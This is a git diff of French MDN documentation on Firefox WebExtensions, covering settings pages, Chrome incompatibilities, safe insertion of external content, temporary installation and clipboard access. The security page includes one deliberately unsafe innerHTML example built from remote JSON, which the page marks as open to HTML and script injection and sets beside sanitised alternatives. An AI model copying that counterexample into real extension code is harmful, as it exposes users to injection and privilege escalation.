- - diff --git a/files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.html b/files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.html new file mode 100644 index 0000000000..9635785e5d --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.html @@ -0,0 +1,219 @@ +--- +title: Ajouter une page de paramètres +slug: Mozilla/Add-ons/WebExtensions/Ajouter_une_page_de_paramètres +tags: + - Paramètres + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page +--- +
{{AddonSidebar}}
+ +

Une page de paramètres donne aux utilisateurs la possiblité de voir et de changer les paramètres (parfois aussi appelée "préférences" ou "options") de l'extension.

+ +

Avec les WebExtensions, les paramètres sont généralement stockés en utilisant l'API storage. L'ajout d'une page de paramètres se fait en trois étapes :

+ +
    +
  • Écrire un fichier HTML qui affiche les paramètres et permet à l'utilisateur de les changer.
    • +
  • Écrire un script, inclus depuis le fichier HTML, qui alimente les paramètres depuis le stockage et met à jour les paramètres stockés quand l'utilisateur les change.
    • +
  • Renseigner le chemin du fichier HTML come clé de options_ui dans manifest.json. Ainsi, le document HTML sera affiché dans le gestionnaire d'extension, aux cotés des nom et description de l'extension.
    • +
+ +
+

Vous pouvez aussi ouvrir cette page automatiquement en utilisant la fonction runtime.openOptionsPage().

+
+ +

Une WebExtension simple

+ +

Tout d'abord, nous allons écrire une extension qui ajoute une bordure bleue à chaque page visitée par l'utilisateur.

+ +

Créez un nouveau dossier nommé "settings", dans lequel vous créez un fichier appelé "manifest.json" ayant pour contenu :

+ +
{
+
+  "manifest_version": 2,
+  "name": "Settings example",
+  "version": "1.0",
+
+  "content_scripts": [
+    {
+      "matches": ["<all_urls>"],
+      "js": ["borderify.js"]
+    }
+  ]
+
+}
+ +

Les instructions de l'extension charge au navigateur un script de contenu nommé "borderify.js" dans chaque page que l'utilisateur visite.

+ +

Ensuite, créez un fichier nomé "borderify.js" dans le dossier "paramètres", et remplissez le comme suit :

+ +
document.body.style.border = "10px solid blue";
+ +

Ça ajoute une bordure bleue à la page.

+ +

Maintenant, installez la WebExtension et testez la — ouvrez la page que vous voulez :

+ +

{{EmbedYouTube("E-WUhihF8fw")}}

+ +

Ajouter des paramètres

+ +

Maintenant, créez une page de paramètres pour autoriser l'utilisateur à définire la couleur de la bordure.

+ +

D'abord, mettez à jour le contenu de "manifest.json" avec ceci :

+ +
{
+
+  "manifest_version": 2,
+  "name": "Settings example",
+  "version": "1.0",
+
+  "content_scripts": [
+    {
+      "matches": ["<all_urls>"],
+      "js": ["borderify.js"]
+    }
+  ],
+
+  "options_ui": {
+    "page": "options.html"
+  },
+
+  "permissions": ["storage"],
+
+  "applications": {
+    "gecko": {
+      "id": "addon@example.com",
+    }
+  }
+
+}
+
+ +

Vous avez ajoutez trois nouvelles clés :

+ +
    +
  • options_ui: Cela définit un document HTML comme étant la page de paramètres (aussi appelée page d'options) pour cette extension.
    • +
  • permissions: Vous allez utilisez l'API storage pour stocker les paramètres, vous devez donc demander la permission d'utiliser cette API.
    • +
  • applications: Vous devez inclure un identifiant d'extension afin d'enregistrer et de récupérer les paramètres du stockage synchronisé.
    • +
+ +

Ensuite, puisque vous avez promis de fournir "options.html", créons-le. Créez un fichier avec ce nom dans le répertoire "settings", et donnez-lui le contenu suivant :

+ +
<!DOCTYPE html>
+
+<html>
+  <head>
+    <meta charset="utf-8">
+  </head>
+
+  <body>
+
+    <form>
+        <label>Border color<input type="text" id="color" ></label>
+        <button type="submit">Save</button>
+    </form>
+
+    <script src="options.js"></script>
+
+  </body>
+
+</html>
+
+ +

Cela définit un {{htmlelement("form")}} avec un label de texte {{htmlelement("input")}} et un {{htmlelement("button")}} de type "submit". Ça inclus également un script appelé "options.js".

+ +

Créez "options.js", lui-aussi dans le dossier "settings", et remplissez le comme ceci :

+ +
function saveOptions(e) {
+  e.preventDefault();
+  browser.storage.sync.set({
+    color: document.querySelector("#color").value
+  });
+}
+
+function restoreOptions() {
+
+  function setCurrentChoice(result) {
+    document.querySelector("#color").value = result.color || "blue";
+  }
+
+  function onError(error) {
+    console.log(`Error: ${error}`);
+  }
+
+  var getting = browser.storage.sync.get("color");
+  getting.then(setCurrentChoice, onError);
+}
+
+document.addEventListener("DOMContentLoaded", restoreOptions);
+document.querySelector("form").addEventListener("submit", saveOptions);
+
+ +

Cela fait deux choses :

+ +
    +
  • Quand le document a été chargé, le script attribue une valeur à "color" depuis le stockage grâce à storage.sync.get(). Si la valeur n'est pas renseignée, il utilise par défaut "blue". Ceci récupère les valeurs de la zone de stockage de synchronisation.
    • +
  • Quand l'utilisateur valide le formulaire en cliquant sur "Save", le script stocke la valeur de textbox en utilisant storage.sync.set(). Ceci permet d'enregistrer la valeur dans la zone de stockage de synchronisation.
    • +
+ +

Vous pouvez stocker les valeurs des paramètres dans le stockage local à la place si vous pensez que le stockage local est préférable pour votre extension.

+ +
+

Notez que l'implémentation de storage.sync dans Firefox repose sur l'ID du module complémentaire. Si vous utilisez storage.sync,  vous devez définir un ID pour votre extension à l'aide de la clé manifest.json des applications  comme indiqué dans l'exemple de manifeste ci-dessus.

+
+ +

Finalement, mettez à jour "borderify.js" pour lire la couleur de la bordure depuis le stockage :

+ +
+

A cause d'un bug dans browser.storage.local.get() dans Firefox pour les versions précédant la 52, le code qui suit ne fonctionnera pas. Pour le faire fonctionner pour les versions de Firefox avant la 52, les deux occurrences d'item.color dans onGot() doivent être changer pour item[0].color.

+
+ +
 function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+function onGot(item) {
+  var color = "blue";
+  if (item.color) {
+    color = item.color;
+  }
+  document.body.style.border = "10px solid " + color;
+}
+
+var getting = browser.storage.sync.get("color");
+getting.then(onGot, onError);
+
+ +

A ce moment, l'extension complète devrait ressembler à ceci :

+ +
settings/
+    borderify.js
+    manifest.json
+    options.html
+    options.js
+ +

Maintenant :

+ +
    +
  • Rechargez la WebExtension
    • +
  • Chargez un page web
    • +
  • Ouvrez la page de paramètres et changez la couleur de la bordure
    • +
  • Rechargez la page pour voir la différence
    • +
+ +

Dans Firefox vous pouvez accéder à la page des paramètres en visitant about:addons et en cliquant le bouton "Preferences" situé à coté de l'extension.

+ +

{{EmbedYouTube("ECt9cbWh1qs")}}

+ +

Pour aller plus loin

+ +
    +
  • options_ui documentation de référence sur les clés de manifest
    • +
  • storage documentation de référence sur l'API
    • +
  • Ouvrez la page de paramètres directement depuis votre extension en utilisant l'API runtime.openOptionsPage()
    • +
  • Exemple de page de paramètres : + +
    • +
diff --git "a/files/fr/mozilla/add-ons/webextensions/incompatibilit\303\251s_chrome/index.html" "b/files/fr/mozilla/add-ons/webextensions/incompatibilit\303\251s_chrome/index.html" deleted file mode 100644 index 71d20cc62b..0000000000 --- "a/files/fr/mozilla/add-ons/webextensions/incompatibilit\303\251s_chrome/index.html" +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Incompatibilités avec Chrome -slug: Mozilla/Add-ons/WebExtensions/Incompatibilités_Chrome -tags: - - Guide - - WebExtensions - - google chrome -translation_of: Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities ---- -

{{AddonSidebar}}

- -

Les extensions construites à l'aide des API WebExtension sont conçues afin d'être compatibles avec les extensions Chrome et Opera. Les extensions écrites dans ces navigateurs devraient fonctionner, autant que possible, avec très peu de changement dans Firefox.

- -

Toutefois, il existe certaines différences significatives entre Chrome, Firefox et Edge et notamment :

- - - -

La suite de cette page détaille ces problèmes ainsi que d'autres points d'incompatibilité.

- -

Les API JavaScript

- -

Les callbacks et l'espace de noms chrome.*

- -

Dans Chrome, les extensions peuvent accéder aux API JavaScript privilégiées à l'aide de l'espace de noms chrome :

- -
chrome.browserAction.setIcon({path: "path/to/icon.png"});
- -

Les WebExtensions accèdent aux API équivalentes à l'aide de l'espace de noms browser :

- -
browser.browserAction.setIcon({path: "path/to/icon.png"});
-
- -

Beaucoup d'API sont asynchrones. Dans Chrome, les API asynchrones utilisent des fonctions de rappel (callback) pour renvoyer des valeurs et {{WebExtAPIRef("runtime.lastError")}} pour communiquer les erreurs :

- -
function logCookie(c) {
-  if (chrome.extension.lastError) {
-    console.error(chrome.extension.lastError);
-  } else {
-    console.log(c);
-  }
-}
-
-chrome.cookies.set(
-  {url: "https://developer.mozilla.org/"},
-  logCookie
-);
- -

Les API WebExtensions équivalentes utilisent plutôt les promesses :

- -
function logCookie(c) {
-  console.log(c);
-}
-
-function logError(e) {
-  console.error(e);
-}
-
-var setCookie = browser.cookies.set(
-  {url: "https://developer.mozilla.org/"}
-);
-setCookie.then(logCookie, logError);
-
- -

Firefox : les espaces de noms chrome et browser

- -

Afin d'aider au portage, l'implémentation de Firefox des WebExtensions prend en charge l'espace de noms chrome, l'utilisation des callbacks, l'espace de noms browser et l'utilisation des promesses. Cela signifie que de nombreuses extensions Chrome fonctionneront simplement dans Firefox sans aucune modification. Cependant, cela ne fait pas partie de la norme WebExtension et peut ne pas être pris en charge par l'ensemble des navigateurs compatibles.

- -

Si vous écrivez votre extension en utilisant browser et les promesses, l'équipe de Firefox a également développé une prothèse (polyfill) qui lui permettra de fonctionner sur Chrome : https://github.com/mozilla/webextension-polyfill.

- -

Les API partiellement prises en charge

- -

La page sur la compatibilité des navigateurs pour les API JavaScript WebExtension inclut l'ensemble des tableaux de compatibilité. Lorsqu'il existe des réserves autour du support d'un élément d'API donné, ceci est indiqué dans ces tableaux avec un astérisque "*". Ces réserves sont détaillées la page de documentation respective de l'API.

- -

Ces tableaux sont générés à partir des données de compatibilité stockées en tant que  fichiers JSON dans GitHub.

- -

Le reste de cette section décrit les problèmes de compatibilité qui ne sont pas encore pris en compte dans ces tableaux.

- -

notifications

- -
    -
  • Pour notifications.create(), lorsqu'on utilise le type "basic", l'icône iconUrl est optionnelle dans Firefox mais obligatoire dans Chrome.
    • -
  • Les notifications sont effacées immédiatement lorsque l'utilisateur clique dessus. Ce n'est pas le cas dans Chrome.
    • -
  • -

    Si vous appelez notifications.create() plusieurs fois et rapidement, Firefox peut finir par ne pas afficher de notification du tout. Attendre de faire d'autres appels dans le callback chrome.notifications.create() ne suffit pas (le délai n'est pas suffisamment long).

    -
    • -
- -

proxy

- - - -

tabs

- -
    -
  • -

    Dans Firefox, les URL relatives passées à tabs.executeScript() ou tabs.insertCSS() sont résolues par rapport à l'URL de la page actuelle. Dans Chrome, ces URL sont résolues par rapport à l'URL de base de l'extension. Pour travailler pour l'ensemble des navigateurs, il est donc nécessaire d'indiquer le chemin comme URL absolue, en commençant par la racine de l'extension, comme ceci:

    - - 
    /chemin/vers/script.json
-
    -
    • -
  • Dans Firefox, interroger les onglets avec des URL avec tabs.query() nécessitent une permission "tabs". Dans Chrome, il est possible de le faire sans la permission "tabs" mais cela limitera les résultats aux onglets dont les URL correspondent aux permissions de l'hôte.
    • -
  • Dans Firefox, la promesse tabs.remove() est tenue après l'évènement beforeunload alors que pour Chrome, le callback n'attend pas beforeunload.
    • -
- -

webRequest

- -
    -
  • Dans Firefox, les requêtes ne peuvent être redirigées que si l'URL originale utilise le schéma http: ou https:.
    • -
  • Dans Firefox, les évènements ne sont pas déclenchés pour les requêtes système (mise à jour d'extensions, suggestions dans la barre de recherche). À partir de Firefox 57, Firefox fait une exception pour les extensions qui doivent intercepter {{WebExtAPIRef("webRequest.onAuthRequired")}} afin d'autoriser le proxy. Pour plus d'informations, voir la page {{WebExtAPIRef("webRequest.onAuthRequired")}}.
    • -
  • Dans Firefox, si une extension souhaite rediriger une URL publique vers une page d'extension, le fichier manifest.json de l'extension doit contenir une clé web_accessible_resources qui indique l'URL de la page de l'extension. On notera que n'importe quel site pourra alors lier ou rediriger vers cette URL et que les extensions doivent considérer n'importe quelle entrée (données provenant d'une requête POST par exemple) comme potentiellement dangereuse.
    • -
  • Dans Firefox, à partir de Firefox 52, certaines API browser.webRequest.* renvoient des promesses qui résolvent webRequest.BlockingResponse de façon asynchrone. Pour Chrome, seule webRequest.onAuthRequired prend en charge une gestion asynchrone de webRequest.BlockingResponse avec 'asyncBlocking'.
    • -
- -

windows

- -
    -
  • Dans Firefox, onFocusChanged sera déclenché plusieurs fois pour un changement de focus donné.
    • -
- -

API non prises en charge

- -

declarativeContent

- -

l'API declarativeContent de Chrome n'a pas encore été implémentée in Firefox.

- -

Firefox ne supportera pas l'API declarativeContent.RequestContentScript, qui est rarement utilisée et n'est pas disponible dans les versions stables de Chrome.

- -

Incompatibilités diverses

- -

Gestion des URL dans CSS

- -

Firefox résout les URL dans les fichiers CSS injectés par rapport au fichier CSS lui-même, plutôt que dans la page dans laquelle il est injecté.

- -

Incompatibilités supplémentaires

- -

Firefox ne prend pas en charge alert(), confirm() ou prompt() à partir des pages d'arrière-plan.

- -

web_accessible_resources

- -

Dans Chrome, lorsqu'une ressource est répertoriée dans web_accessible_resources, elle est accessible via chrome-extension://<id-de-l-extension>/<chemin/vers/la/ressource>. L'identifiant de l'extension est fixé pour une extension donnée.

- -

Firefox l'implémente différemment en utilisant un UUID aléatoire qui change pour chaque instance de Firefox : moz-extension://<UUID-aleatoire>/<chemin/vers/la/ressource>. Cette façon aléatoire peut empêcher certaines choses, comme ajouter l'URL de votre extension spécifique à la politique CSP d'un autre domaine.

- -

La propriété key du manifeste

- -

Lorsque vous travaillez avec une extension décompressée, Chrome permet d'ajouter une propriété key au manifeste afin de fixer l'identifiant de l'extension sur différentes machines. Ceci s'avère notamment utile lorsqu'on travaille avec web_accessible_resources. Puisque Firefox utilise des UUID aléatoires pour les web_accessible_resources, cette propriété n'est pas prise en charge.

- -

Les requêtes sont relatives au contexte de l'extension et pas à celui du contenu de la page

- -

Dans Chrome, lorsque la requête est appelée (par exemple, en utilisant fetch()) pour une URL relative comme /api du script de contenu, elle sera envoyée à https://example.com/api. Dans Firefox, vous devez fournir des URL absolues.

- -

Les clés de manifest.json

- -

La page relative à manifest.json contient un tableau décrivant la compatibilité des navigateurs pour les différentes clés du fichier. Lorsqu'il y a des mises en garde concernant le support d'une clé donnée, ceci est indiqué dans le tableau avec un astérisque "*" et de plus amples informations sont fournies dans la page décrivant la clé.

- -

Ces tables sont générées à partir des données de compatibilité stockées en tant que fichiers JSON dans GitHub.

- -

Communication avec le système natif

- -

Arguments de messagerie basée sur la connexion

- -

Sur Linux et Mac, Chrome passe un argument sur l'application natif, qui est l'origine de l'extension qui l'a lancée, sous la forme : chrome-extension://[extensionID]. Cela permet à l'application d'identifier l'extension.

- -

Sur Windows, Chrome passe deux arguments: le premier est l'origine de l'extension, et le second est un handle de la fenêtre native de Chrome qui a démarré l'application.

- -

allowed_extensions

- -

Dans Chrome, la clé de manifeste allowed_extensions s'appelle allowed_origins.

- -

Emplacement du fichier de manifeste d'application

- -

Chrome s'attend à trouver le manifeste de l'application dans un autre endroit. Se référer à la documentation Chrome pour l'emplacement de l'hôte de messagerie natif.

diff --git a/files/fr/mozilla/add-ons/webextensions/inserer_en_toute_securite_du_contenu_externe_dans_une_page/index.html b/files/fr/mozilla/add-ons/webextensions/inserer_en_toute_securite_du_contenu_externe_dans_une_page/index.html deleted file mode 100644 index 2365874169..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/inserer_en_toute_securite_du_contenu_externe_dans_une_page/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Insérer en toute sécurité du contenu externe dans une page -slug: >- - Mozilla/Add-ons/WebExtensions/inserer_en_toute_securite_du_contenu_externe_dans_une_page -tags: - - Add-ons - - Comment - - Débutant - - Extensions - - How-to - - Sécurité - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page ---- -

{{AddonSidebar}}

- -

Il y a des moments où vous pourriez vouloir ou devez inclure du contenu d'une source externe dans votre extension. Cependant, il existe un risque que des scripts malveillants soient intégrés à la source, soit par le développeur de la source, soit par une tierce partie malveillante.

- -

Prenez un lecteur RSS à titre d'exemple. Vous ne savez pas quels flux RSS votre extension va ouvrir et n'ont aucun contrôle sur le contenu de ces flux RSS. Ainsi, il est possible que l'utilisateur puisse s'abonner à un flux où, par exemple, le titre d'un élément de fil inclut un script. Cela pourrait être quelque chose d'aussi simple que d'inclure du code JavaScript dans les balises <script></script>. Si vous deviez extraire le titre, supposer qu'il s'agissait d'un texte brut et l'ajouter au DOM d'une page créée par votre extension, votre script a maintenant un script inconnu dans son navigateur. Par conséquent, il faut prendre soin d'éviter d'évaluer du texte arbitraire au format HTML.

- -

Vous devez également vous souvenir que les extensions ont des contextes privilégiés, par exemple dans les scripts d'arrière-plan et les scripts de contenu. Dans le pire des cas, un script incorporé peut s'exécuter dans l'un de ces contextes, une situation connue sous le nom d'escalade de privilèges. Cette situation peut laisser le navigateur d'un utilisateur ouvert à une attaque à distance en permettant au site Web qui a injecté le code d'accéder à des données utilisateur critiques, telles que des mots de passe, l'historique du navigateur ou le comportement de navigation.

- -

Cet article examine comment travailler en toute sécurité avec des données distantes et l'ajouter à un DOM.

- -

Travailler avec des chaînes arbitraires

- -

Lorsque vous travaillez avec des chaînes, il existe quelques options recommandées pour les ajouter en toute sécurité à une page : les méthodes de création de nœuds DOM standard ou jQuery.

- -

Méthodes de création de noeud DOM

- -

Une approche légère pour insérer des chaînes dans une page consiste à utiliser les méthodes de manipulation DOM natives : document.createElement, Element.setAttribute, et Node.textContent. L'approche sécurisée consiste à créer les nœuds séparément et à affecter leur contenu à l'aide de textContent :

- -
var data = JSON.parse(responseText);
-var div = document.createElement("div");
-div.className = data.className;
-div.textContent = "Your favorite color is now " + data.color;
-addonElement.appendChild(div);
- -

Cette approche est sûre car l'utilisation de .textContent échappe automatiquement à tout code HTML distant dans data.color.

- -

Cependant, attention, vous pouvez utiliser des méthodes natives qui ne sont pas sécurisées. Prenez le code suivant :

- -
var data = JSON.parse(responseText);
-addonElement.innerHTML = "<div class='" + data.className + "'>" +
-                         "Your favorite color is now " + data.color +
-                         "</div>";
- -

Ici, le contenu de data.className ou de data.color peut contenir du HTML qui peut fermer le tag plus tôt, insérer du contenu HTML arbitraire, puis ouvrir une autre balise.

- -

jQuery

- -

Lors de l'utilisation de jQuery, des fonctions telles que attr() et text() échappent au contenu lorsqu'il est ajouté à un DOM. Ainsi, l'exemple de "couleur préférée" ci-dessus, implémenté dans jQuery, ressemblerait à ceci:

- -
var node = $("</div>");
-node.addClass(data.className);
-node.text("Your favorite color is now " + data.color);
- -

Travailler avec du contenu HTML

- -

Lorsque vous travaillez avec du contenu de source externe dont vous savez qu'il s'agit du code HTML, il est essentiel de nettoyer le code HTML avant de l'ajouter à une page. La meilleure pratique pour désinfecter le code HTML consiste à utiliser une bibliothèque de nettoyage HTML ou un moteur de modèle avec des fonctionnalités de nettoyage HTML. Dans cette section, nous examinons certains outils appropriés et comment les utiliser.

- -

Désinfection HTML

- -

Une bibliothèque de nettoyage HTML désactive tout ce qui pourrait conduire à l'exécution de scripts à partir du HTML, de sorte que vous pouvez injecter en toute sécurité des ensembles complets de nœuds HTML à partir d'une source distante dans votre DOM. DOMPurify, qui a été examiné par divers experts en sécurité, est une bibliothèque appropriée pour cette tâche dans les extensions.

- -

Pour l'utilisation en production, DOMPurify cest disponible en version minifiée : purify.min.js. Vous pouvez utiliser ce script de la manière qui convient le mieux à votre extension. Par exemple, vous pouvez l'ajouter en tant que script de contenu :

- -
"content_scripts": [
-  {
-    "matches" : ["<all_urls>"],
-    "js": ["purify.min.js", "myinjectionscript.js"]
-  }
-]
- -

Ensuite, dans myinjectionscript.js, vous pouvez lire le code HTML externe, le désinfecter et l'ajouter au DOM d'une page :

- -
var elem = document.createElement("div");
-var cleanHTML = DOMPurify.sanitize(externalHTML);
-elem.innerHTML = cleanHTML;
- -

Vous pouvez utiliser n'importe quelle méthode pour ajouter le HTML aseptisé à votre DOM, par exemple la fonction .html() de jQuery’s. Souvenez-vous cependant que le drapeau SAFE_FOR_JQUERY doit être utilisé dans ce cas :

- -
var elem = $("<div/>");
-var cleanHTML = DOMPurify.sanitize(externalHTML, { SAFE_FOR_JQUERY: true });
-elem.html(cleanHTML);
- -

Moteur de modèle

- -

Un autre modèle courant consiste à créer un modèle HTML local pour une page et à utiliser des valeurs distantes pour remplir les blancs. Bien que cette approche soit généralement acceptable, il faut éviter d'utiliser des constructions qui permettraient l'insertion de code exécutable. Cela peut se produire lorsque le moteur de création de modèles utilise des constructions qui insèrent du code HTML brut dans le document. Si la variable utilisée pour insérer le code HTML brut est une source distante, elle est soumise au même risque de sécurité mentionné dans l'introduction.

- -

Par exemple, lorsque vous utilisez des modèles moustache, vous devez utiliser la double moustache, \{{variable}}, qui échappe à tout code HTML. L'utilisation de la triple moustache, \{\{{variable}}}, doit être évitée car cela injecte une chaîne HTML brute et pourrait ajouter du code exécutable à votre modèle. Handlebars fonctionne d'une manière similaire, avec des variables dans le double guidon, \{{variable}}, étant échappé. Considérant que, les variables dans le guidon triple sont laissées crues et doivent être évitées. De même, si vous créez une aide Handlebars à l'aide de  Handlebars.SafeString utilisez Handlebars.escapeExpression() pour échapper tous les paramètres dynamiques transmis à l'assistant. C'est une exigence car la variable résultante de Handlebars.SafeString est considérée comme sûre et elle n'est pas échappée lorsqu'elle est insérée avec des guidons doubles.

- -

Il existe des concepts similaires dans d'autres systèmes de modélisation qui doivent être abordés avec le même niveau de soin.

- -

Lecture supplémentaire

- -

Pour plus d'informations sur ce sujet, consultez les articles suivants :

- - diff --git a/files/fr/mozilla/add-ons/webextensions/installation_temporaire_dans_firefox/index.html b/files/fr/mozilla/add-ons/webextensions/installation_temporaire_dans_firefox/index.html deleted file mode 100644 index 26f97b3cac..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/installation_temporaire_dans_firefox/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Installation temporaire dans Firefox -slug: Mozilla/Add-ons/WebExtensions/installation_temporaire_dans_Firefox -tags: - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox ---- -
{{AddonSidebar}}
- -

Cet article décrit comment une extension développée peut être temporairement installée dans Firefox pour la tester et la déboguer. L'extension restera installée jusqu'à ce que vous redémarriez Firefox. Vous pouvez utiliser cette méthode avec tout type d'extension ne nécessitant pas de redémarrage, y compris les extensions bootstrap et les extensions utilisant le SDK des Add-ons.

- -

Notez que les utilisateurs ne devraient pas utiliser cette méthode pour installer des extensions dans Firefox. Les utilisateurs installeront des extensions en téléchargeant et en ouvrant des extensions packagées qui ont été signées par Mozilla. Pour savoir comment un développeur d'extension peut faire packager et signer son extension, consultez Publier votre extension.

- -

Pour installer une extension temporairement :

- -
    -
  • Ouvrez Firefox
    • -
  • Entrez "about:debugging" dans la barre de l'URL
    • -
  • Cliquez sur "Charger un module temporaire"
    • -
  • Ouvrez le répertoire de l'extension et sélectionnez n'importe quel fichier à l'intérieur de l'extension.
    • -
- -

L'extension sera installée et restera installée jusqu'à ce que vous redémarriez Firefox.

- -

{{EmbedYouTube("cer9EUKegG4")}}

- -

Recharger une extension temporaire

- -

À partir de Firefox 48, il y a un nouveau bouton appelé "Recharger" à côté du nom de l'extension dans about:debugging :

- -

Il fait ce qu'il dit :

- - - -

{{EmbedYouTube("NuajE60jfGY")}}

- -
-

Notez que dans Firefox 48 uniquement, "Recharger" ne met pas à jour le nom et la description de l'extension qui sont affichés dans about:debugging et about:addons. Ceci a été corrigé dans Firefox 49.

-
- -

Utilisation de la ligne de commande

- -

Si vous utilisez déjà la ligne de commande pour le développement, consultez l'outil web-ext. Il automatise temporairement l'installation et recharge automatiquement votre extension quand le code source a changé.

- -

Détection d'installation temporaire

- -

Votre extension peut détecter si elle a été installée depuis about:debugging au lieu d'avoir été téléchargée comme une extension packagée et signée depuis addons.mozilla.org. Écoutez l'événement {{WebExtAPIRef("runtime.onInstalled")}} et vérifiez la valeur de details.temporary.

- -

Limitations

- -

L'installation temporaire d'une extension n'imite pas complètement le comportement d'une extension signée. Par exemple, si l'extension fait des demandes d'autorisation de temps d'installation, celles-ci ne sont pas affichées dans le cadre du processus d'installation temporaire. De plus, des fonctions, comme le stockage local, persistent même si l'extension est supprimée et que le navigateur redémarre.

- -

Pour plus d'informations sur la façon de traiter ces situations, voir les demandes de permissions et Test des fonctionnalités persistantes et de redémarrage.

diff --git a/files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.html b/files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.html new file mode 100644 index 0000000000..fe7b69e3a3 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.html @@ -0,0 +1,189 @@ +--- +title: Interagir avec le presse-papier +slug: Mozilla/Add-ons/WebExtensions/interagir_avec_le_presse_papier +tags: + - Add-ons + - Clip + - Clipboard + - Cut + - Editing + - Extensions + - Text + - WebExtensions + - coller + - copier + - copy + - couper + - paste +translation_of: Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard +--- +
{{AddonSidebar}}
+ +

ll y a deux façons dont les extensions de navigateur peuvent interagir avec le presse-papiers système : la méthode {{domxref("Document.execCommand()")}}  et l'asynchrone moderne de l'API Presse-papiers.

+ +

La méthode {{domxref("Document.execCommand()")}} peut être utilisée, en spécifiant la commande désirée :

+ +
    +
  • document.execCommand("copy")
    • +
  • document.execCommand("cut")
    • +
  • document.execCommand("paste")
    • +
+ +

L'API Presse-papiers fournit un accès asynchrone pour lire et écrire directement le contenu du presse-papiers. Par exemple, pour lire le texte du presse-papiers :

+ +
navigator.clipboard.readText().then(text => outputElem.innerText = text);
+ +

Ceci demande le contenu du presse-papiers et, lorsque la réponse est reçue, stocke le texte du presse-papiers dans le {{domxref("Node.innerText", "innerText")}} d'un élément.

+ +
+

Note: Les méthodes asynchrones de l'API Clipboard sont un ajout récent à la spécification et peuvent ne pas être entièrement implémentées dans tous les navigateurs. Assurez-vous de passer en revue les tableaux de compatibilité pour chaque méthode avant de les utiliser, afin de vous assurer que le support est suffisamment large pour vos besoins.

+
+ +

Ecrire dans le presse-papiers

+ +

Il y a deux façons d'écrire dans le presse-papiers. Vous pouvez utiliser les actions {{domxref("Document.execCommand", "document.execCommand()")}} pour déclencher les actions "couper" et "copier", qui remplace le contenu actuel du presse-papiers par les données actuellement sélectionnées. L'autre option est d'utiliser la méthode {{domxref("Clipboard.writeText()")}} ou {{domxref("Clipboard.write()")}} de l'API Presse-papiers pour remplacer le contenu du presse-papiers par des données spécifiques.

+ +

Utiliser execCommand()

+ +

Les commandes {{domxref("Document.execCommand", "document.execCommand()")}} de la méthode "couper" et "copier" peuvent être utilisées pour remplacer le contenu actuel du presse-papiers par le matériel sélectionné. Ces commandes peuvent être utilisées sans permission spéciale si vous les utilisez dans un gestionnaire d'événements de courte durée pour une action utilisateur (par exemple, un gestionnaire de clics).

+ +

Par exemple, supposons que vous ayez un popup qui inclut le HTML suivant :

+ +
<input id="input" type="text"/>
+<button id="copy">Copy</button>
+
+ +

Pour que le bouton "copier" copie le contenu de l'élément {{HTMLElement("input")}}, vous pouvez utiliser du code comme ceci :

+ +
function copy() {
+  var copyText = document.querySelector("#input");
+  copyText.select();
+  document.execCommand("copy");
+}
+
+document.querySelector("#copy").addEventListener("click", copy);
+ +

Parce que l'appel execCommand() se trouve à l'intérieur d'un gestionnaire d'événements click, vous n'avez pas besoin de permissions spéciales ici.

+ +

Cependant, disons que vous déclenchez plutôt la copie à partir d'une alarme  :

+ +
function copy() {
+  var copyText = document.querySelector("#input");
+  copyText.select();
+  document.execCommand("copy");
+}
+
+browser.alarms.create({
+  delayInMinutes: 0.1
+});
+
+browser.alarms.onAlarm.addListener(copy);
+ +

Selon le navigateur, cela peut ne pas fonctionner. Sur Firefox, cela ne fonctionnera pas, et vous verrez un message comme celui-ci dans votre console :

+ +
document.execCommand(‘cut’/‘copy’) was denied because it was not called from inside a short running user-generated event handler.
+ +

Pour activer ce cas d'utilisation, vous devez demander permission "clipboardWrite". Alors :  "clipboardWrite" vous permet d'écrire dans le presse-papiers en dehors d'un gestionnaire d'événements de courte durée pour une action utilisateur.

+ +

Utilisation de l'API Presse-papiers

+ +

L'API Presse-papiers ajoute une plus grande flexibilité, en ce sens que vous n'êtes pas limité à copier simplement la sélection courante dans le presse-papiers, mais vous pouvez spécifier directement quelles informations placer dans le presse-papiers.

+ +

L'utilisation de l'API nécessite que vous ayez les permissons de l'API "clipboard-write". Vous pouvez vérifier cette permission en utilisant {{domxref("Permissions.query", "navigator.permissions.query()")}}:

+ +
navigator.permissions.query({name: "clipboard-write"}).then(result => {
+  if (result.state == "granted" || result.state == "prompt") {
+    /* write to the clipboard now */
+  }
+});
+
+ +

Cette fonction prend une chaîne de caractères comme entrée et met à jour le presse-papiers pour contenir cette chaîne :

+ +
function updateClipboard(newClip) {
+  navigator.clipboard.writeText(newClip).then(function() {
+    /* clipboard successfully set */
+  }, function() {
+    /* clipboard write failed */
+  });
+}
+
+ +
+

Note: Le nom de la permission clipboard-write n'est pas supporté actuellement dans Firefox - seulement les navigateurs Chromium.

+
+ +

***Considérations spécifiques du navigateur

+ +

Le presse-papiers et les autres API impliquées ici évoluent rapidement, de sorte qu'il y a des variations entre les navigateurs quant à leur mode de fonctionnement.

+ +

Dans Chrome:

+ +
    +
  • Vous pouvez écrire dans le presse-papiers comme ceci dans tous les contextes d'exécution - pages d'arrière-plan, scripts de contenu, pages d'options et popups.
    • +
  • Vous n'avez pas besoin de "clipboardWrite", même pour écrire dans le presse-papiers en dehors d'un gestionnaire d'événements généré par l'utilisateur.
    • +
+ +

Dans Firefox:

+ +
    +
